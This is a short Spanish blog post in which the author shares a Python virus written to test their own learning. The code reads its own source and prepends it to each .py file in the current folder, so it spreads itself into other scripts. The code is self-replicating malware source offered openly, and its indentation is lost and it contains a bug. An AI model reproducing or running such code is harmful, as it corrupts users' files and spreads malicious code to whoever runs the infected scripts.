Aquí esta una infección que infecta exenciones en .py lo hice nomas para poder probar los conocimientos adquiridos se ejecuta en la carpeta raíz ya que no e podido meterme con el disco C por permisos
funciona en python 3.3.2 y con 2.7.5 suerte
import os
from sys import argv
this_file = open(argv[0])
this_lines = this_file.readlines()
this_file.close()
# se auto lee
for files in os.listdir('.'):
#busca archivos
if files.find('.py') >=1:
new_files = open(files,"r+")
target_lines = new_files.readlines()
new_files.seek(0)
try:
#los infecta
new_files.write("".join(this_lines))
for target in target_lines:
new_files.write("%s" %target)
new_files.close()
except:
# si pasa un error
new_files.close()
new_files.open(files,"w")
for target in target_lines:
new_files.write("%s" %target)
new_files.close()
os._exit(1)
No hay comentarios:
Publicar un comentario